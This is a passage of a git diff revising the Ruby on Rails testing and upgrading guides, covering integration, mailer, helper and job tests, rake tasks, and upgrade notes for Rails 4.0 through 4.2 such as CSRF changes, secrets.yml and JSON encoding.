create test/integration/user_flows_test.rb
```
@@ -642,12 +680,9 @@ Here's what a freshly-generated integration test looks like:
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :all
-
- # Replace this with your real tests.
- test "the truth" do
- assert true
- end
+ # test "the truth" do
+ # assert true
+ # end
end
```
@@ -680,22 +715,20 @@ A simple integration test that exercises multiple controllers:
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :users
-
test "login and browse site" do
# login via https
https!
get "/login"
assert_response :success
- post_via_redirect "/login", username: users(:avs).username, password: users(:avs).password
+ post_via_redirect "/login", username: users(:david).username, password: users(:david).password
assert_equal '/welcome', path
- assert_equal 'Welcome avs!', flash[:notice]
+ assert_equal 'Welcome david!', flash[:notice]
https!(false)
- get "/posts/all"
+ get "/articles/all"
assert_response :success
- assert assigns(:products)
+ assert assigns(:articles)
end
end
```
@@ -708,21 +741,18 @@ Here's an example of multiple sessions and custom DSL in an integration test
require 'test_helper'
class UserFlowsTest < ActionDispatch::IntegrationTest
- fixtures :users
-
test "login and browse site" do
-
- # User avs logs in
- avs = login(:avs)
+ # User david logs in
+ david = login(:david)
# User guest logs in
guest = login(:guest)
# Both are now available in different sessions
- assert_equal 'Welcome avs!', avs.flash[:notice]
+ assert_equal 'Welcome david!', david.flash[:notice]
assert_equal 'Welcome guest!', guest.flash[:notice]
- # User avs can browse site
- avs.browses_site
+ # User david can browse site
+ david.browses_site
# User guest can browse site as well
guest.browses_site
@@ -731,96 +761,95 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
private
- module CustomDsl
- def browses_site
- get "/products/all"
- assert_response :success
- assert assigns(:products)
+ module CustomDsl
+ def browses_site
+ get "/products/all"
+ assert_response :success
+ assert assigns(:products)
+ end
end
- end
- def login(user)
- open_session do |sess|
- sess.extend(CustomDsl)
- u = users(user)
- sess.https!
- sess.post "/login", username: u.username, password: u.password
- assert_equal '/welcome', path
- sess.https!(false)
+ def login(user)
+ open_session do |sess|
+ sess.extend(CustomDsl)
+ u = users(user)
+ sess.https!
+ sess.post "/login", username: u.username, password: u.password
+ assert_equal '/welcome', sess.path
+ sess.https!(false)
+ end
end
- end
end
```
Rake Tasks for Running your Tests
---------------------------------
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
-
-| Tasks | Description |
-| ------------------------------- | ----------- |
-| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.|
-| `rake test:benchmark` | Benchmark the performance tests|
-| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
-| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
-| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
-| `rake test:integration` | Runs all the integration tests from `test/integration`|
-| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
-| `rake test:models` | Runs all the model tests from `test/models`|
-| `rake test:profile` | Profile the performance tests|
-| `rake test:recent` | Tests recent changes|
-| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git|
-| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
-
-
-Brief Note About `Test::Unit`
+Rails comes with a number of built-in rake tasks to help with testing. The
+table below lists the commands included in the default Rakefile when a Rails
+project is created.
+
+| Tasks | Description |
+| ----------------------- | ----------- |
+| `rake test` | Runs all tests in the `test` folder. You can also simply run `rake` as Rails will run all the tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers` | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:jobs` | Runs all the job tests from `test/jobs` |
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
+| `rake test:models` | Runs all the model tests from `test/models` |
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:db` | Runs all tests in the `test` folder and resets the db |
+
+
+A Brief Note About Minitest
-----------------------------
-Ruby ships with a boat load of libraries. One little gem of a library is `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
-us to use all of the basic assertions in our tests.
+Ruby ships with a vast Standard Library for all common use-cases including testing. Since version 1.9, Ruby provides `Minitest`, a framework for testing. All the basic assertions such as `assert_equal` discussed above are actually defined in `Minitest::Assertions`. The classes `ActiveSupport::TestCase`, `ActionController::TestCase`, `ActionMailer::TestCase`, `ActionView::TestCase` and `ActionDispatch::IntegrationTest` - which we have been inheriting in our test classes - include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests.
-NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
+NOTE: For more information on `Minitest`, refer to [Minitest](http://ruby-doc.org/stdlib-2.1.0/libdoc/minitest/rdoc/MiniTest.html)
Setup and Teardown
------------------
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Articles` controller:
```ruby
require 'test_helper'
-class PostsControllerTest < ActionController::TestCase
+class ArticlesControllerTest < ActionController::TestCase
# called before every single test
def setup
- @post = posts(:one)
+ @article = articles(:one)
end
# called after every single test
def teardown
- # as we are re-initializing @post before every test
+ # as we are re-initializing @article before every test
# setting it to nil here is not essential but I hope
# you understand how you can use the teardown method
- @post = nil
+ @article = nil
end
- test "should show post" do
- get :show, id: @post.id
+ test "should show article" do
+ get :show, id: @article.id
assert_response :success
end
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, id: @post.id
+ test "should destroy article" do
+ assert_difference('Article.count', -1) do
+ delete :destroy, id: @article.id
end
- assert_redirected_to posts_path
+ assert_redirected_to articles_path
end
end
```
-Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
+Above, the `setup` method is called before each test and so `@article` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
* a block
* a method (like in the earlier example)
@@ -830,53 +859,58 @@ Above, the `setup` method is called before each test and so `@post` is available
Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
```ruby
-require '../test_helper'
+require 'test_helper'
-class PostsControllerTest < ActionController::TestCase
+class ArticlesControllerTest < ActionController::TestCase
# called before every single test
- setup :initialize_post
+ setup :initialize_article
# called after every single test
def teardown
- @post = nil
+ @article = nil
end
- test "should show post" do
- get :show, id: @post.id
+ test "should show article" do
+ get :show, id: @article.id
assert_response :success
end
- test "should update post" do
- patch :update, id: @post.id, post: {}
- assert_redirected_to post_path(assigns(:post))
+ test "should update article" do
+ patch :update, id: @article.id, article: {}
+ assert_redirected_to article_path(assigns(:article))
end
- test "should destroy post" do
- assert_difference('Post.count', -1) do
- delete :destroy, id: @post.id
+ test "should destroy article" do
+ assert_difference('Article.count', -1) do
+ delete :destroy, id: @article.id
end
- assert_redirected_to posts_path
+ assert_redirected_to articles_path
end
private
- def initialize_post
- @post = posts(:one)
- end
-
+ def initialize_article
+ @article = articles(:one)
+ end
end
```
Testing Routes
--------------
-Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
+Like everything else in your Rails application, it is recommended that you test your routes. Below are example tests for the routes of default `show` and `create` action of `Articles` controller above and it should look like:
```ruby
-test "should route to post" do
- assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
+class ArticleRoutesTest < ActionController::TestCase
+ test "should route to article" do
+ assert_routing '/articles/1', { controller: "articles", action: "show", id: "1" }
+ end
+
+ test "should route to create article" do
+ assert_routing({ method: 'post', path: '/articles' }, { controller: "articles", action: "create" })
+ end
end
```
@@ -887,7 +921,7 @@ Testing mailer classes requires some specific tools to do a thorough job.
### Keeping the Postman in Check
-Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.
+Your mailer classes - like every other part of your Rails application - should be tested to ensure that it is working as expected.
The goals of testing your mailer classes are to ensure that:
@@ -917,21 +951,25 @@ Here's a unit test to test a mailer named `UserMailer` whose action `invite` is
require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
- tests UserMailer
test "invite" do
- @expected.from = 'me@example.com'
- @expected.to = 'friend@example.com'
- @expected.subject = "You have been invited by #{@expected.from}"
- @expected.body = read_fixture('invite')
- @expected.date = Time.now
-
- assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
+ # Send the email, then test that it got queued
+ email = UserMailer.create_invite('me@example.com',
+ 'friend@example.com', Time.now).deliver_now
+ assert_not ActionMailer::Base.deliveries.empty?
+
+ # Test the body of the sent email contains what we expect it to
+ assert_equal ['me@example.com'], email.from
+ assert_equal ['friend@example.com'], email.to
+ assert_equal 'You have been invited by me@example.com', email.subject
+ assert_equal read_fixture('invite').join, email.body.to_s
end
-
end
```
-In this test, `@expected` is an instance of `TMail::Mail` that you can use in your tests. It is defined in `ActionMailer::TestCase`. The test above uses `@expected` to construct an email, which it then asserts with email created by the custom mailer. The `invite` fixture is the body of the email and is used as the sample content to assert against. The helper `read_fixture` is used to read in the content from this file.
+In the test we send the email and store the returned object in the `email`
+variable. We then ensure that it was sent (the first assert), then, in the
+second batch of assertions, we ensure that the email does indeed contain what we
+expect. The helper `read_fixture` is used to read in the content from this file.
Here's the content of the `invite` fixture:
@@ -943,9 +981,17 @@ You have been invited.
Cheers!
```
-This is the right time to understand a little more about writing tests for your mailers. The line `ActionMailer::Base.delivery_method = :test` in `config/environments/test.rb` sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (`ActionMailer::Base.deliveries`).
+This is the right time to understand a little more about writing tests for your
+mailers. The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that
+email will not actually be delivered (useful to avoid spamming your users while
+testing) but instead it will be appended to an array
+(`ActionMailer::Base.deliveries`).
-However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action
+Mailer tests, you can reset it manually with:
+`ActionMailer::Base.deliveries.clear`
### Functional Testing
@@ -963,7 +1009,102 @@ class UserControllerTest < ActionController::TestCase
assert_equal "You have been invited by me@example.com", invite_email.subject
assert_equal 'friend@example.com', invite_email.to[0]
- assert_match(/Hi friend@example.com/, invite_email.body)
+ assert_match(/Hi friend@example.com/, invite_email.body.to_s)
+ end
+end
+```
+
+Testing helpers
+---------------
+
+In order to test helpers, all you need to do is check that the output of the
+helper method matches what you'd expect. Tests related to the helpers are
+located under the `test/helpers` directory.
+
+A helper test looks like so:
+
+```ruby
+require 'test_helper'
+
+class UserHelperTest < ActionView::TestCase
+end
+```
+
+A helper is just a simple module where you can define methods which are
+available into your views. To test the output of the helper's methods, you just
+have to use a mixin like this:
+
+```ruby
+class UserHelperTest < ActionView::TestCase
+ include UserHelper
+
+ test "should return the user name" do
+ # ...
+ end
+end
+```
+
+Moreover, since the test class extends from `ActionView::TestCase`, you have
+access to Rails' helper methods such as `link_to` or `pluralize`.
+
+Testing Jobs
+------------
+
+Since your custom jobs can be queued at different levels inside your application,
+you'll need to test both jobs themselves (their behavior when they get enqueued)
+and that other entities correctly enqueue them.
+
+### A Basic Test Case
+
+By default, when you generate a job, an associated test will be generated as well
+under the `test/jobs` directory. Here's an example test with a billing job:
+
+```ruby
+require 'test_helper'
+
+class BillingJobTest < ActiveJob::TestCase
+ test 'that account is charged' do
+ BillingJob.perform_now(account, product)
+ assert account.reload.charged_for?(product)
+ end
+end
+```
+
+This test is pretty simple and only asserts that the job get the work done
+as expected.
+
+By default, `ActiveJob::TestCase` will set the queue adapter to `:test` so that
+your jobs are performed inline. It will also ensure that all previously performed
+and enqueued jobs are cleared before any test run so you can safely assume that
+no jobs have already been executed in the scope of each test.
+
+### Custom Assertions And Testing Jobs Inside Other Components
+
+Active Job ships with a bunch of custom assertions that can be used to lessen
+the verbosity of tests:
+
+| Assertion | Purpose |
+| -------------------------------------- | ------- |
+| `assert_enqueued_jobs(number)` | Asserts that the number of enqueued jobs matches the given number. |
+| `assert_performed_jobs(number)` | Asserts that the number of performed jobs matches the given number. |
+| `assert_no_enqueued_jobs { ... }` | Asserts that no jobs have been enqueued. |
+| `assert_no_performed_jobs { ... }` | Asserts that no jobs have been performed. |
+| `assert_enqueued_with([args]) { ... }` | Asserts that the job passed in the block has been enqueued with the given arguments. |
+| `assert_performed_with([args]) { ... }`| Asserts that the job passed in the block has been performed with the given arguments. |
+
+It's a good practice to ensure that your jobs correctly get enqueued or performed
+wherever you invoke them (e.g. inside your controllers). This is precisely where
+the custom assertions provided by Active Job are pretty useful. For instance,
+within a model:
+
+```ruby
+require 'test_helper'
+
+class ProductTest < ActiveSupport::TestCase
+ test 'billing job scheduling' do
+ assert_enqueued_with(job: BillingJob) do
+ product.charge(account)
+ end
end
end
```
@@ -971,10 +1112,12 @@ end
Other Testing Approaches
------------------------
-The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+The built-in `minitest` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
-* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [Fixture Builder](https://github.com/rdy/fixture_builder), a tool that compiles Ruby factories into fixtures before a test run.
+* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
+* [Capybara](http://jnicklas.github.com/capybara/), Acceptance test framework for web applications
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index bdb4730cdc..4ce61c282d 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -3,14 +3,12 @@ A Guide for Upgrading Ruby on Rails
This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
-After reading this guide, you will know:
-
--------------------------------------------------------------------------------
General Advice
--------------
-Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
### Test Coverage
@@ -20,47 +18,784 @@ The best way to be sure that your application still works after upgrading is to
Rails generally stays close to the latest released Ruby version when it's released:
-* Rails 3 and above requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible.
-* Rails 3.2.x will be the last branch to support Ruby 1.8.7.
-* Rails 4 will support only Ruby 1.9.3.
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
-TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
-Upgrading from Rails 3.2 to Rails 4.0
+### The Rake Task
+
+Rails provides the `rails:update` rake task. After updating the Rails version
+in the Gemfile, run this rake task.
+This will help you with the creation of new files and changes of old files in an
+interactive session.
+
+```bash
+$ rake rails:update
+ identical config/boot.rb
+ exist config
+ conflict config/routes.rb
+Overwrite /myapp/config/routes.rb? (enter "h" for help) [Ynaqdh]
+ force config/routes.rb
+ conflict config/application.rb
+Overwrite /myapp/config/application.rb? (enter "h" for help) [Ynaqdh]
+ force config/application.rb
+ conflict config/environment.rb
+...
+```
+
+Don't forget to review the difference, to see if there were any unexpected changes.
+
+Upgrading from Rails 4.1 to Rails 4.2
+-------------------------------------
+
+### Web Console
+
+First, add `gem 'web-console', '~> 2.0'` to the `:development` group in your Gemfile and run `bundle install` (it won't have been included when you upgraded Rails). Once it's been installed, you can simply drop a reference to the console helper (i.e., `<%= console %>`) into any view you want to enable it for. A console will also be provided on any error page you view in your development environment.
+
+### Responders
+
+`respond_with` and the class-level `respond_to` methods have been extracted to the `responders` gem. To use them, simply add `gem 'responders', '~> 2.0'` to your Gemfile. Calls to `respond_with` and `respond_to` (again, at the class level) will no longer work without having included the `responders` gem in your dependencies:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+ respond_to :html, :json
+
+ def show
+ @user = User.find(params[:id])
+ respond_with @user
+ end
+end
+```
+
+Instance-level `respond_to` is unaffected and does not require the additional gem:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+ def show
+ @user = User.find(params[:id])
+ respond_to do |format|
+ format.html
+ format.json { render json: @user }
+ end
+ end
+end
+```
+
+See [#16526](https://github.com/rails/rails/pull/16526) for more details.
+
+### Error handling in transaction callbacks
+
+Currently, Active Record suppresses errors raised
+within `after_rollback` or `after_commit` callbacks and only prints them to
+the logs. In the next version, these errors will no longer be suppressed.
+Instead, the errors will propagate normally just like in other Active
+Record callbacks.
+
+When you define a `after_rollback` or `after_commit` callback, you
+will receive a deprecation warning about this upcoming change. When
+you are ready, you can opt into the new behavior and remove the
+deprecation warning by adding following configuration to your
+`config/application.rb`:
+
+ config.active_record.raise_in_transactional_callbacks = true
+
+See [#14488](https://github.com/rails/rails/pull/14488) and
+[#16537](https://github.com/rails/rails/pull/16537) for more details.
+
+### Ordering of test cases
+
+In Rails 5.0, test cases will be executed in random order by default. In
+anticipation of this change, Rails 4.2 introduced a new configuration option
+`active_support.test_order` for explicitly specifying the test ordering. This
+allows you to either lock down the current behavior by setting the option to
+`:sorted`, or opt into the future behavior by setting the option to `:random`.
+
+If you do not specify a value for this option, a deprecation warning will be
+emitted. To avoid this, add the following line to your test environment:
+
+```ruby
+# config/environments/test.rb
+Rails.application.configure do
+ config.active_support.test_order = :sorted # or `:random` if you prefer
+end
+```
+
+### Serialized attributes
+
+When using a custom coder (e.g. `serialize :metadata, JSON`),
+assigning `nil` to a serialized attribute will save it to the database
+as `NULL` instead of passing the `nil` value through the coder (e.g. `"null"`
+when using the `JSON` coder).
+
+### Production log level
+
+In Rails 5, the default log level for the production environment will be changed
+to `:debug` (from `:info`). To preserve the current default, add the following
+line to your `production.rb`:
+
+```ruby
+# Set to `:info` to match the current default, or set to `:debug` to opt-into
+# the future default.
+config.log_level = :info
+```
+
+### `after_bundle` in Rails templates
+
+If you have a Rails template that adds all the files in version control, it
+fails to add the generated binstubs because it gets executed before Bundler:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+You can now wrap the `git` calls in an `after_bundle` block. It will be run
+after the binstubs have been generated.
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+after_bundle do
+ git :init
+ git add: "."
+ git commit: %Q{ -m 'Initial commit' }
+end
+```
+
+### Rails HTML Sanitizer
+
+There's a new choice for sanitizing HTML fragments in your applications. The
+venerable html-scanner approach is now officially being deprecated in favor of
+[`Rails HTML Sanitizer`](https://github.com/rails/rails-html-sanitizer).
+
+This means the methods `sanitize`, `sanitize_css`, `strip_tags` and
+`strip_links` are backed by a new implementation.
+
+This new sanitizer uses [Loofah](https://github.com/flavorjones/loofah) internally. Loofah in turn uses Nokogiri, which
+wraps XML parsers written in both C and Java, so sanitization should be faster
+no matter which Ruby version you run.
+
+The new version updates `sanitize`, so it can take a `Loofah::Scrubber` for
+powerful scrubbing.
+[See some examples of scrubbers here](https://github.com/flavorjones/loofah#loofahscrubber).
+
+Two new scrubbers have also been added: `PermitScrubber` and `TargetScrubber`.
+Read the [gem's readme](https://github.com/rails/rails-html-sanitizer) for more information.
+
+The documentation for `PermitScrubber` and `TargetScrubber` explains how you
+can gain complete control over when and how elements should be stripped.
+
+If your application needs to use the old sanitizer implementation, include `rails-deprecated_sanitizer` in your Gemfile:
+
+```ruby
+gem 'rails-deprecated_sanitizer'
+```
+
+### Rails DOM Testing
+The [`TagAssertions` module](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/TagAssertions.html) (containing methods such as `assert_tag`), [has been deprecated](https://github.com/rails/rails/blob/6061472b8c310158a2a2e8e9a6b81a1aef6b60fe/actionpack/lib/action_dispatch/testing/assertions/dom.rb) in favor of the `assert_select` methods from the `SelectorAssertions` module, which has been extracted into the [rails-dom-testing gem](https://github.com/rails/rails-dom-testing).
+
+
+### Masked Authenticity Tokens
+In order to mitigate SSL attacks, `form_authenticity_token` is now masked so that it varies with each request. Thus, tokens are validated by unmasking and then decrypting. As a result, any strategies for verifying requests from non-rails forms that relied on a static session CSRF token have to take this into account.
+
+Upgrading from Rails 4.0 to Rails 4.1
-------------------------------------
-NOTE: This section is a work in progress.
+### CSRF protection from remote `<script>` tags
+
+Or, "whaaat my tests are failing!!!?"
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. This prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means that your functional and integration tests that use
+
+```ruby
+get :index, format: :js
+```
+
+will now trigger CSRF protection. Switch to
+
+```ruby
+xhr :get, :index, format: :js
+```
+
+to explicitly test an `XmlHttpRequest`.
+
+If you really mean to load JavaScript from remote `<script>` tags, skip CSRF
+protection on that action.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/rails/spring#rake).
+
+### `config/secrets.yml`
+
+If you want to use the new `secrets.yml` convention to store your application's
+secrets, you need to:
+
+1. Create a `secrets.yml` file in your `config` folder with the following content:
+
+ ```yaml
+ development:
+ secret_key_base:
+
+ test:
+ secret_key_base:
+
+ production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+ ```
+
+2. Use your existing `secret_key_base` from the `secret_token.rb` initializer to
+ set the SECRET_KEY_BASE environment variable for whichever users running the
+ Rails application in production mode. Alternatively, you can simply copy the existing
+ `secret_key_base` from the `secret_token.rb` initializer to `secrets.yml`
+ under the `production` section, replacing '<%= ENV["SECRET_KEY_BASE"] %>'.
+
+3. Remove the `secret_token.rb` initializer.
+
+4. Use `rake secret` to generate new keys for the `development` and `test` sections.
+
+5. Restart your server.
+
+### Changes to test helper
+
+If your test helper contains a call to
+`ActiveRecord::Migration.check_pending!` this can be removed. The check
+is now done automatically when you `require 'rails/test_help'`, although
+leaving this line in your helper is not harmful in any way.
+
+### Cookies serializer
+
+Applications created before Rails 4.1 uses `Marshal` to serialize cookie values into
+the signed and encrypted cookie jars. If you want to use the new `JSON`-based format
+in your application, you can add an initializer file with the following content:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+```
+
+This would transparently migrate your existing `Marshal`-serialized cookies into the
+new `JSON`-based format.
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+ def set_cookie
+ cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+ redirect_to action: 'read_cookie'
+ end
+
+ def read_cookie
+ cookies.encrypted[:expiration_date] # => "2014-03-20"
+ end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+### Flash structure changes
+
+Flash message keys are
+[normalized to strings](https://github.com/rails/rails/commit/a668beffd64106a1e1fedb71cc25eaaa11baf0c1). They
+can still be accessed using either symbols or strings. Looping through the flash
+will always yield string keys:
+
+```ruby
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+```
+
+Make sure you are comparing Flash message keys against strings.
+
+### Changes in JSON handling
+
+There are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+ def as_json(options = nil)
+ { foo: 'bar' }
+ end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If your application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+#### JSON representation of Time objects
+
+`#as_json` for objects with time component (`Time`, `DateTime`, `ActiveSupport::TimeWithZone`)
+now returns millisecond precision by default. If you need to keep old behavior with no millisecond
+precision, set the following in an initializer:
+
+```
+ActiveSupport::JSON::Encoding.time_precision = 0
+```
+
+### Usage of `return` within inline callback blocks
+
+Previously, Rails allowed inline callback blocks to use `return` this way:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { return false } # BAD
+end
+```
+
+This behavior was never intentionally supported. Due to a change in the internals
+of `ActiveSupport::Callbacks`, this is no longer allowed in Rails 4.1. Using a
+`return` statement in an inline callback block causes a `LocalJumpError` to
+be raised when the callback is executed.
+
+Inline callback blocks using `return` can be refactored to evaluate to the
+returned value:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save { false } # GOOD
+end
+```
+
+Alternatively, if `return` is preferred it is recommended to explicitly define
+a method:
+
+```ruby
+class ReadOnlyModel < ActiveRecord::Base
+ before_save :before_save_callback # GOOD
+
+ private
+ def before_save_callback
+ return false
+ end
+end
+```
+
+This change applies to most places in Rails where callbacks are used, including
+Active Record and Active Model callbacks, as well as filters in Action
+Controller (e.g. `before_action`).
+
+See [this pull request](https://github.com/rails/rails/pull/13271) for more
+details.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+module FixtureFileHelpers
+ def file_sha(path)
+ Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+```
+
+### I18n enforcing available locales
-If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting an update to Rails 4.0.
+Rails 4.1 now defaults the I18n option `enforce_available_locales` to `true`. This
+means that it will make sure that all locales passed to it must be declared in
+the `available_locales` list.
+
+To disable it (and allow I18n to accept *any* locale option) add the following
+configuration to your application:
+
+```ruby
+config.i18n.enforce_available_locales = false
+```
+
+Note that this option was added as a security measure, to ensure user input
+cannot be used as locale information unless it is previously known. Therefore,
+it's recommended not to disable this option unless you have a strong reason for
